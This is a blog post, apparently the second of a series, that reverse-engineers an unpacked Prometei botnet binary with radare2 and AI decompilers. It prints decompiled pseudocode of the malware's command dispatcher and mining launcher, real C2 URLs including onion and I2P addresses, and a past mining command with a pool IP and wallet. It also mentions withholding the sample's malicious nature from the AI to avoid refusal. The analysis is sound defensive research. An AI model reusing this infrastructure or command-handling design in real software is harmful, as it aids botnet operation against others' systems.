Reversing an (unpacked) Prometei binary with r2 and AI — Part Two
Thanks to Joan Calvet and Gabriel Hung, we unpacked the Prometei binary of Part One, and now have an ELF 0dd339f7eab91ca26681c7261d11a5baac8545d98188ea68747987ce030b0d63
. Let’s continue our live analysis.
If you are interested in the results, but not in how it was done, jump straight to the conclusion at the end of the article.
Update Feb 13: fixed a typo on the Anthropic key file. It’s ~/.r2ai.anthropic-key
+ the intended way to install and use r2ai and decai is via package installation: r2pm -ci decai r2ai, and r2pm -r r2ai. I do it another way — the “developer” way, but it’s probably not the easiest way.
Checking the unpacked binary with r2
It wouldn’t be the first time I think I have unpacked, but actually the unpacking is not correct, so I’m going to check a little what we got. I ask r2 to perform basic analysis “aa” and then list functions “afl”. We still have very few functions, which is suspicious.
[0x00401ef0]> afl
0x00401ef0 1 47 entry0
0x0041cba0 115 2071 fcn.0041cba0
0x004120aa 337 19111 main
But fortunately the disassembly of main is promising (“pdf @ main”), we see references to strings like “start_mining” and “stop_mining”.
This looks good: we probably did unpack successfully.
Decompile the main with r2ai
If the binary is correctly unpacked, r2ai should be able to help. I run it: ./r2ai.sh /home/axelle/samples/prometei/unpacked-prometei.elf
.
Update Feb 13: the intended way to install and use r2ai is rather via package installation (r2pm -ci r2ai
) and then r2pm -r -r2ai
…
I set the model I want to use: -m anthropic:claude-3–5-sonnet-20241022
and ask r2ai to decompile the main. Note that you need an API key in ~/.r2ai.anthropic-key
for that.
And there we go! We spend 44 cents …
for a complete main, generated by the AI! Excellent!
int main(int argc, char **argv, char **envp) {
// Initialize variables and state
bool debug_mode = true;
char process_path[0x400] = {0};
char command_buffer[0x400] = {0};
printf("Starting...\n");
// Set some initial values
*(int*)0x529bc0 = 0x1d4c0; // 120,000
*(int*)0x52a9e0 = 0x1e; // 30
// Get process path if not already set
if (!process_path[0]) {
char temp_path[0x400];
char exe_path[0x400];
// Try to get path from /proc/self/exe
pid_t pid = getpid();
snprintf(temp_path, sizeof(temp_path), "/proc/%d/exe", pid);
if (readlink(temp_path, exe_path, sizeof(exe_path)) != -1) {
strncpy(process_path, exe_path, strlen(exe_path));
}
}
// If path still not set, try command line arg or default paths
if (!process_path[0]) {
if (argc > 0 && argv[0][0]) {
strncpy(process_path, argv[0], strlen(argv[0]));
} else {
// Try default paths
if (access("/usr/sbin/uplugplay", F_OK) == 0) {
strncpy(process_path, "/usr/sbin/uplugplay", strlen("/usr/sbin/uplugplay"));
} else if (access("/etc/uplugplay", F_OK) == 0) {
strncpy(process_path, "/etc/uplugplay", strlen("/etc/uplugplay"));
}
}
}
// Main command processing loop
while (true) {
char command[0x400];
int response_len;
// Get command from network/input
response_len = wait_for_command(command, 30);
// Process various commands:
if (strncmp(command, "sysinfo", 7) == 0) {
// Handle system info command
handle_sysinfo();
}
else if (strncmp(command, "wget", 4) == 0) {
// Handle wget command
handle_wget(command);
}
else if (strncmp(command, "xwget", 5) == 0) {
// Handle extended wget
handle_xwget(command);
}
else if (strncmp(command, "chkxwget", 8) == 0) {
// Check wget status
handle_check_wget();
}
else if (strncmp(command, "sha256chk", 9) == 0) {
// Handle SHA256 check
handle_sha256_check();
}
else if (strncmp(command, "touch", 5) == 0) {
// Handle touch command
handle_touch();
}
else if (strncmp(command, "debug", 5) == 0) {
// Handle debug command
handle_debug();
}
else if (strncmp(command, "extip", 5) == 0) {
// Handle external IP command
handle_external_ip();
}
else if (strncmp(command, "chkport", 7) == 0) {
// Handle port check
handle_port_check();
}
else if (strncmp(command, "updatev4", 8) == 0) {
// Handle update command
handle_update();
}
else if (strncmp(command, "start_mining", 11) == 0) {
// Start mining operation
start_mining();
}
else if (strncmp(command, "stop_mining", 10) == 0) {
// Stop mining operation
system("pkill updatecheckerd");
handle_update_checker();
}
else if (strncmp(command, "exec", 4) == 0) {
// Execute command
if (command[0]) {
system(command);
}
}
else if (strncmp(command, "tcp_bind", 8) == 0) {
// Handle TCP bind
handle_tcp_bind();
}
else if (strncmp(command, "tcp_stop", 8) == 0) {
// Stop TCP connection
handle_tcp_stop();
}
else if (strncmp(command, "udp_stop", 8) == 0) {
// Stop UDP connection
handle_udp_stop();
}
else if (strncmp(command, "quit2", 5) == 0 ||
strncmp(command, "quit", 4) == 0) {
// Handle quit commands
cleanup_and_exit();
exit(0);
}
}
return 0;
}
AIs talk too much IMHO (and this can surely be reduced by tuning the prompt), but the summary is pretty good:
This appears to be a command-and-control (C2) malware that:
1. Establishes persistence by copying itself to system locations
2. Can download and execute additional payloads
3. Has mining capabilities
4. Can execute arbitrary commands
5. Has TCP/UDP networking capabilities
6. Can check external IP and ports
7. Has update mechanisms
8. Includes debug capabilities
The code uses various obfuscation techniques and has multiple fallback mechanisms for establishing persistence. It appears to be a fairly sophisticated piece of malware with modular capabilities.
The main function acts as a command dispatcher that:
1. Sets up the environment
2. Establishes persistence
3. Enters a command processing loop
4. Handles various commands for different malware functions
5. Includes cleanup and exit capabilities
Let me know if you would like me to explain any specific part in more detail.
Don’t rely on what the AI says: check it!
Good: the AI noticed the binary is a malware. We hadn’t told it. Given what we already know from Prometei (see Part One), everything the AI says makes sense — particularly the mining capabilities. We’ll double check however, because AIs are excellent at making up plausible stories.
In the generated source code, we see it desperately tries to retrieve the path of the process, but it doesn’t seem to do anything with that. Probably something the AI skipped.
Then, it waits for incoming commands from a function named wait_for_command
and processes the various commands by jumping to the corresponding function. Wait_for_command
and the other function names do not exist in the binary, the AI has renamed them to make it easier to understand.
If we compare with this prior analysis, the new commands are chkxwget
, sha256chk
, tcp_bind
, tcp_stop
and udp_stop
.
Using r2, I check those strings are indeed in the main (not an AI hallucination). In addition, I see pbdebug
+ something about pkill updatecheckerd
, doing chmod 777
on a file : the AI probably skipped those.
Looks real. Not a hallucination. A few details were missed.
What happens after a start_mining command?
The sample of December 2020 used to mine with the following command: /usr/sbin/updatecheckerd -o stratum+tcp://5.189.171[.]187:3333 -u 4A1txQ9L8h8NqF4EtGsZDP5vRN3yTVKynbkyP1jvCiDajNLPepPbBdrbaqBu8fCTcFEFdCtgbekSsTf17B1MhyE2AKCEyfR -p x — donate-level 1
. I’m curious and want to check if it’s still doing it the same way in 2025.
From r2, in the binary, I locate (manually — without AI) the function which is called when start_mining
is received. The function is at 0x403f5d.
0x004167cc b90c000000 mov ecx, 0xc ; 12
│ 0x004167d1 488d359f70.. lea rsi, str.start_mining ; 0x4ed877 ; "start_mining"
│ 0x004167d8 4889c7 mov rdi, rax
│ 0x004167db e87dd7feff call 0x403f5d
I jump there and try to disassemble the function but there is no function. Remember we only saw 3 functions. I disassemble a few instructions at the given address to check it really looks like a function.
I declare a function “start_mining” at 0x403f61 (“s 0x00403f5d; af start_mining”). Now, I’m going to ask the AI to decompile that function for me. Using r2ai’s auto-mode — where you start question with a tick and a space — is good when you need interaction with r2, but it costs more. Here, the AI can decompile straight from the assembly instructions I have, so I can use decai, which is Radare2’s AI-assisted decompiler.
Use decai for a one-shot decompilation
Be sure to load the decai script, either at launch time with -i scriptname (e.g r2 -i ~/git/r2ai/decai/decai.r2.js ./unpacked-prometei.elf
), or from inside r2 prompt with . scriptname
. To setup decai, use the help decai -H
. I’m using Claude AI, so I’ll issue decai -e api=claude
(+ be sure sure to have the API key in ~/.r2ai.anthropic-key
). I ask the AI to decompile the function with decai -d
.
Update Feb 13: the intended way to use decai is rather via package installation r2pm -ci decai.
// MY REMARK: this is a string comparison code! Not start_mining!
int start_mining(char *str1, char *str2, int len1, int len2) {
if (len1 < len2 || len1 == 0 || len2 == 0) {
return -1;
}
int result = -1;
int i = 0;
while (i < len1) {
int match = 1;
int j = 0;
while (j < len2) {
if (str1[i + j] != str2[j]) {
match = 0;
break;
}
j++;
}
if (match) {
result = i;
break;
}
i++;
}
return result;
}
Ouch! This is not at all the mining function but just a string comparison function! How silly of me (yes, it’s a “live” analysis…). I’m not inspecting the correct function. Let’s rename this one (“af string_compare”), and go back to the assembly instructions around start_mining.
Again, on the real start_mining function!
The real start_mining
function is at 0x410694. Same as previously, there’s no defined function, and if we disassemble the first few instructions, it rather looks like the function starts at 0x00410698. I create a function there, and ask the AI to decompile.
void start_mining(int64_t arg) {
char daemon_name[128] = "updatecheckerd";
char daemon_file[128] = "updatecheckerd.dat";
char sbin_path[128] = "/usr/sbin/";
char cmd_buffer[1024] = {0};
char path_buffer1[1024] = {0}; // MY REMARK: missing value
char path_buffer2[1024] = {0}; // MY REMARK: missing value
int proc_count;
if (!check_process('T')) {
return;
}
memset(cmd_buffer, 0, sizeof(cmd_buffer));
memset(path_buffer1, 0, sizeof(path_buffer1));
memset(path_buffer2, 0, sizeof(path_buffer2));
strcat(path_buffer1, sbin_path);
strcat(path_buffer2, sbin_path);
if (!check_file_exists(daemon_name)) {
strcat(path_buffer1, daemon_name);
strcat(path_buffer2, daemon_file);
if (!check_file_exists(path_buffer1)) {
proc_count = get_process_count(path_buffer2);
if (proc_count > 0) {
strcat(cmd_buffer, " ");
strcat(cmd_buffer, "kill_count");
}
system("pkill updatecheckerd");
exec_daemon("updatecheckerd");
sleep(1);
system(cmd_buffer);
}
}
if (!check_file_exists(daemon_name)) {
proc_count = get_process_count(path_buffer2);
if (proc_count > 0) {
strcat(cmd_buffer, " ");
strcat(cmd_buffer, "kill_count");
}
system("pkill updatecheckerd");
exec_daemon("updatecheckerd");
sleep(1);
system(cmd_buffer);
}
}
This function is relevant, but it’s not mining, just checking existence of /usr/sbin/updatecheckerd
and killing the process if necessary. Actually, there are several strange things with this decompiled code, because it kills updatecheckerd
if the file does not exist. That does not make sense. So, I ask r2ai with auto mode to see if it understands it better.
My advice: if an AI produces suspicious output, try another way! Different question, different model etc.
Temporary rate limit error
I run into a temporary rate limit error. This is quite frequent with r2ai auto-mode, because it queries the AI very quickly.
The AI generates another source code. I’ll strip it a little to save space, but it’s better because it clearly shows 2 parts: (1) checking if the daemon already exists and killing existing instances, and (2) create the daemon if it does not exist yet.
void start_mining(void) {
[..]
// Check if daemon already exists
if (access(path_buffer1, F_OK) == 0) {
[..]
// Kill any existing instances
system("pkill updatecheckerd");
// Start new instance
handle_update_checker();
sleep(1);
// Execute prepared command
system(cmd_buffer);
} else {
// Daemon doesn't exist, try to create it
[..]
// Set up paths in /usr/sbin/
strcat(path_buffer1, "/usr/sbin/");
strcat(path_buffer2, "/usr/sbin/");
strcat(path_buffer1, daemon_name);
strcat(path_buffer2, daemon_file);
// Check if we can create daemon in /usr/sbin/
if (access(path_buffer1, F_OK) == 0) {
// Similar process as above but with /usr/sbin/ path
strncpy(cmd_buffer, path_buffer1, strlen(path_buffer1));
if (access(path_buffer2, F_OK) == 0) {
len = get_file_size(path_buffer2);
if (len > 0) {
size_t cmd_len = strlen(cmd_buffer);
cmd_buffer[cmd_len] = ' ';
strcat(cmd_buffer + cmd_len + 1, global_data);
}
}
// Kill existing instances
system("pkill updatecheckerd");
// Start new instance
handle_update_checker();
sleep(1);
// Execute prepared command
system(cmd_buffer);
}
}
}
Maybe the mining is done in the function the AI renamed handle_update_checker()
. I’ll ask it to decompile.
The AI decompiles the function, but it’s still stuff to identify updatecheckerd
via pgrep
and pidof
.
How does it mine?
Reminder: this is a “live” analysis, so I have no idea yet how the mining is performed as I write the blog, if I’ll easily find the answer or not.
r2ai Auto mode
Let’s try and ask the AI — in auto mode! I give it some information: “Prior versions of the binary used to mine using a command such as /usr/bin/updatecheckerd -o stratum+tcp://IP_ADDRESS. Can you tell me where it’s mining now?” Note that I always avoid mentioning the binary is malicious, by fear it will refuse to analyze it.
First, the AI asks r2 to search strings (“iz”). This makes sense to find a remote IP address, but unfortunately there are many strings, and I run in an input token limit.
{"type":"error","error":{"type":"invalid_request_error","message":"prompt is too long: 208977 tokens > 200000 maximum"}}
Searching for strings manually with Radare2
We’ll have to do it differently. Manually in Radare2 (“iz~http”), I find the URLs:
45 0x000ed330 0x004ed330 59 60 .rodata ascii http://%s/cgi-bin/prometei.cgi?r=0&auth=hash&i=%s&enckey=%s
1652 0x0011f140 0x00520140 46 47 .data ascii http://p3.feefreepool.net/cgi-bin/prometei.cgi
1653 0x0011f180 0x00520180 38 39 .data ascii http://dummy.zero/cgi-bin/prometei.cgi
1654 0x0011f1c0 0x005201c0 51 52 .data ascii https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
1655 0x0011f200 0x00520200 88 89 .data ascii http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
We recognize the C2, p1.feefreepool[.]net. We also recognize the I2P and Onion URLs. The dummy.zero URL also existed in the version of December 2020.
I search for more strings (“izz” and “/az”) but find no stratum string. So, it’s surely mining another way (or no longer mining at all).
Reset the conversation
I’m going to give r2ai another go. I’m going to start a new conversation: that’s -R
.
And then, silly AI wants to search for the string stratum (“iz~stratum”) even though I told it wasn’t present! I edit the command and replace it with iz~monero, searching for a reference to the Monero cryptocurrency, because I think that’s more likely to be interesting. No hit. The AI now wants to search for stratum and pool.
To remember: don’t tell the AI not to do something, because it will do it 😢
Finally, it gets to something smarter: searching for the string “xmr” — but there are none. From this point, it concludes the following (my own remarks in green):
1. This is the Prometei botnet malware, which is known for cryptocurrency mining.
> Good.
2. The mining operation communicates with several C2 servers:
- Primary: `http://p3.feefreepool.net/cgi-bin/prometei.cgi`
- Backup: `http://dummy.zero/cgi-bin/prometei.cgi`
- TOR: `https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi`
- I2P: `http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi`
> Nice. The dummy zero website is in case the primary one fails.
3. [..]The actual mining functionality is likely handled by a separate module or process that's downloaded or deployed by the C2 server.
> Downloaded from the C2 - yes, possible.
5. While the specific mining pool isn't directly visible in the strings (likely to avoid detection), Prometei is known to mine Monero (XMR) cryptocurrency, [..]
> Good search.
[..]The actual mining is likely performed by a separate XMRig-based module that's downloaded and executed by this controller component
> Yes, that's possible.
All of this is plausible, but I can’t very the AI’s assumptions unless I communicate with the C2.
Conclusion
What have we found out?
- Overall, this Prometei sample is similar to the one analyzed in December 2020, e.g. it hides on the system with the same name.
- The new sample handles a few new commands:
chkxwget
,sha256chk
,tcp_bind
,tcp_stop
andudp_stop
. - The mining pool is no longer hard-coded, and likely downloaded from the C2.
- The C2 URL hasn’t changed since December 2020! Surprising. It doesn’t respond any longer however.
About r2ai :
- The decompiled main is really good (not perfect, but very helpful) 😃
- The function decompiled when receiving message “start_mining” is okay-ish. It could be better, but it’s still helpful.
- The decompilation produced by r2ai auto mode is slightly better than the one obtained via decai, but it costs more.
- Don’t tell the AI something like “don’t go here it’s useless”, because it doesn’t care and does what you said not to do 😢
- I think there’s a bug in resetting the conversation, but there’s a workaround.
There will be Part Three where I investigate the communication protocol with the C2.
— Cryptax